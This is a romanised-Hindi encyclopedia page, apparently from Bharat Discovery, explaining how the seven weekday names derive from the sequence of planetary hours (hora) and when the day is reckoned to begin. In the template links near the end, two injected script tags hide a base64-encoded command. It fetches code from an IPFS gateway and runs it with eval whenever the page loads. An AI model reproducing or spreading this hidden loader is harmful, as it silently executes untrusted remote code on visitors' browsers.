दिवस

भारत डिस्कवरी प्रस्तुति
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divas / var / din
hianduoan ke sat var aur unake pray: vahi nam samast vishv mean prachalit haian. ravivar ko apani-apani bhasha mean sab kaheange soory var hi. is din ko hi ravivar kyoan kaha jata hai aur usake pashchath somavar (chandrama ka din) is kram se hi kyoan din ate hai? kaise anadikal se sab deshoan mean usi din ko ravivar kaha jata hai? kyoan koee use chandr ka din nahian kahata? to vishv ke kisi doosare desh ka jyotishi keval yah kahega ki 'dinoan ke nam aur unake kram ka prachar bharat se hi vishv mean hua, chahe jab hua ho. at: sab kahian ye nam aur kram ek-se haian.' anukaran ke atirikt koee vaijnanik karan kisi doosare ke pas nahian haian. kal madhav, brahm puran, siddhant-shiromani, jyotirvidabharanadi bharatiy shastriy granth isaka spasht karan batalate haian ki

  • chaitr shukl pratipada ko jab sab grah mesh rashi ke adi mean the, us samay is kalp ka prarambh hua. kal-ganana srishti ke adi se hi chali. usi din sarvapratham sooryoday hua.
  • ek sooryoanday se doosare sooryoday tak ka kal ahoratr kaha jata hai. isaka pratham bhag din aur dvitiy bhag ratri kahalati hai.
  • kal ki sookshm ganana ke liye din aur ratri mean se pratyek ke chh:-chh: bhag mane gaye hai, jinhean lagn kahate haian. is prakar 12 lagnoan ka ek ahoratr hua. lagn ke adhe bhag ko 'hora' kaha jata hai.

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  • 'ahoratr' shabd ke madhy ke donoan aksharoan se hi yah shabd bana hai. isi ko pashchaty-pranali mean ghanta kahate haian. 'ghanta' jaise nirarthak shabd ki apeksha 'hora' sarthak evan prachin shabd hai. apane tejomay roop ke karan srishti ke pratham 'hora' ka svami soory mana gaya. isake pashchath apani kaksha ke anusar grah 'hora' adhipati mane gaye. grah-kaksha ke sambandh mean jyautish-shastr ka kahana hai- 'brahmand ke madhy mean akash hai. usamean sabase oopar nakshatr-kaksha hai. phir kram se shani, brihaspati, mangal, soory, shukr, budh aur chandrama haian. unase niche siddh, vidyadhar aur megh haian. oopar ke grahoan-ki kaksha niche ke grahoan ki apeksha kramash: b di hai. jab pratham 'hora' ke svami soory hue, tab kramash: shukr, budh, chandrama, shani, brihaspati, mangal- ye chh: grah agali chh: horaoan ke svami hue. athavian 'hora' ke svami phir kramanupoorvak soory hue. is prakar kramash: ye grah ek-ek 'hora' ke svami hote gaye. is kram se chaubisavian hora ka svami budh hota hai. aur yahian pratham ahoratr samapt ho jata hai. pachisavian hora ka svami kram ke anusar chandrama hai. yah pachisavian hora doosare ahoratr ke din ki pratham hora hai; at: pratham hora ke adhishthata chandrama hone se is ahoratr ka nam chandrama ka din-somavar p da. isi kram se ahoratr ki pratham 'hora' ke adhishthata grah ke nam par ahoratr ke nam p date gaye aur phalat: saptah ke dinoan ke nam vartaman kram se hue. yahi kram srishti ke prarambh se ab tak chala a raha hai. jis din ke pratham hora ka jo adhishthata grah hai, us din ka vahi nam hai. hora ko 'kshanavar' bhi kahate haian. jo karm jis din karane ka vidhan hai, us karm ko kisi bhi din ke us 'kshanavar' mean bhi kiya ja sakata hai. jaise yadi somavar ko ravivar ka koee karm karana hai, to somavar mean jis hora ke adhishthata soory hai, us hora mean us karm ko kiya ja sakata hai.
  • din-ratri mean kisi bhi samay kaun-si hora, kaun-sa kshanavar hai, yah janane ka niyam jyautish shastr ne is prakar bataya hai- mesh, vrishchik, kumbh, min ki sankranti mean sayankal se vrish, dhanu, kark, tula ki sankranti mean ardharatri se aur mithun, makar, sianh, kanya ki sankranti mean prat:kal se var pravesh manakar us din ki ganana karake 'kshanavar' nikalana chahiye.

uparyukt niyam mean sankranti ke hisab se var-pravesh (din ke arambh) ka samay badalata rahata hai.

  • musalaman log din ka prarambh sayankal se manate haian; kiantu hindoo-shastroan mean uparyukt niyam ko chho dakar aur kahian sayankal se var-pravesh (dinarambh) ka varnan nahian hai.
  • isi prakar vyakaranashastr mean adyatan kal ka prayog madhyaratri se doosari madhyaratri tak ke liye hota hai. jyautishashastr ke granth 'siddhant-shiromani' tatha 'keshavark' ke anusar devataoan ka ahoratr bhi madhyaratri se badalata hai; kyoanki uttarayan devataoan ka din aur dakshinayan devataoan ki ratri haian mesh sankranti ke samay devataoan ka var-pravesh (dinarambh) mana jata hai. isi prakar pitri-ahoratr bhi madhyaratri se badalata hai. 'poornima ko pitaroan ki ardharatri, amavasya ko madhyahn, krishna paksh ki ashtami ko prat:kal aur shukl paksh ki ashtami ko sayankal hota hai.' yah 'siddhant shiromani' ka mat hai. sooryoday se poorv sandhyadi karmoan ke liye sooryoday ke samay ane vali tithi sankalp mean bolane ka vidhan hai. aise karmoan mean var-pravesh ardharatri se mana jata haian. nimbark sanpraday mean ekadashi yadi dashami ki ardharatri ke samay n akar kuchh bad mean aye to vah dashami viddha mani jati hai. yahaan bhi madhyaratri se hi var-pravesh mana gaya hai. doosare vaishnav-sampraday ekadashi vrat ke sambandh mean brahm muhoort se var pravesh manate haian.

sooryoday se var-pravesh (dinarambh)

saanyakal, madhyaratri evan brahmamuhoort se var-pravesh keval vishesh karyoan ke sambandh mean vishesh avasaroan par hi manane ki pratha aur shastriy vidhan prapt hote haian. janmapatradi sabhi karyoan mean sooryoday se hi var-pravesh mana jata hai. janmapatr mean to sooryoday mean 1 pal ka bhi vilamb raha ho to poorv din ki tithi, var hi liye jate haian. samast bharatiy panchaangoan mean sooryoday se hi tithi, var, nakshatr, yog adi ka kal aankit hota hai. ishtakal bhi sooryoday se hi banata hai. ishtakal se hi lagn, muhoortadi sab nirnit hote haian. smart mat se sooryoday ke pashchath 1 pal bhi dashami ho to ekadashi dashami-viddha mani jati hai. yah niyam bhi sooryoday se var-pravesh manakar hi sthir hua hai. kalamadhav, brahmasphut siddhant, jyotirvidabharan prabhriti shastriy granthoan mean spasht kaha gaya hai ki 'vishv ki utpatti sooryoday ke samay hoti hai. at: var-pravesh bhi sooryoday se hi hota hai.' siddhant-shiromani, pulastisiddhant tatha vashishthasanhita ka asandigdh mat hai ki 'soory ke darshan ka nam din aur adarshan ka nam ratri hai; at: din ka arambh sooryoday se hi hota hai.' is pramanoan se siddh hai ki sooryaday se poorv tatha ardharatri ke pashchath hone vale sandhyadi dharmik krityoan mean to ardharatri se var-pravesh mana jata hai, baqi samast karmoan mean sooryoday se var-pravesh ka vidhan hai.

sooryoday

sooryoday akshaansh aur kranti bhed se bhinn-bhinn sthanoan mean bhinn-bhinn samay mean hota hai aur varsh mean din tatha ratri ke man mean kshay-briddhi bhi hote rahate haian; parantu ahoratr 60 ghatiyoan ka hi rahata hai. atev din-ratri ke kshay-briddhi ki kathinaee se bachane ke liye ganana mean 'var-pravritti' se kam liya jata hai. jab poorn arthath shoony kranti ke din sayan man se soory vishuvat rekha arthath mesh aur tula rashiyoan par ata hai, us din vishv mean sab kahian din aur ratri barabar hote haian. atev is din ke sooryoday ke samay ko sthir manakar usi samay ko 'var-pravritti' nam diya gaya hai. jyautishashastr mean isaka achchha spashtikaran hai- usaka saraansh yah hai ki apane nagar ya gram ke sooryoday samay se 6 hora par (6 baje) 'var-pravritti' hoti hai. dugh diya muhoort, kal hora, nakshatr hora, kshan-var adi mean yahi 6 hora par var-pravritti mani jati hai. isake anusar bharat mean var-pravritti ka samay bharatiy vishuvat rekha, jo ujjain se jati he, usake anusar nishchit hona chahiye.

pashchaty vidhi

  • briten ke grinavich nagar ki vishuvat rekha se mana jata hai. arntarashtriy sthir samay se sambandh rakhane ke liye bharatiy sthir samay aur grinavich ke samay mean 5 ghante, 30 minat ka antar hai.
  • briten ke grinavich nagar mean var-pravritti ek baje se hoti hai.

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panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

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tika tippani aur sandarbh

bahari k diyaan

sanbandhit lekh

[[Template:divas<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>|dekhean]] • [[|varta]] • [{{fullurl:Template:divas<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>|action=edit}}badalean]
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divas

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hindi tithiyaan

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kal ganana

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varnamala kramanusar lekh khoj

a   a    i    ee    u    oo    e    ai    o   au    aan    k   kh    g    gh    n    ch    chh    j    jh    n    t    th    d   dh    n    t    th    d    dh    n    p    ph    b    bh    m    y    r    l    v    sh    sh    s    h    ksh    tr    jn    rri    rri    aau    shr   aah

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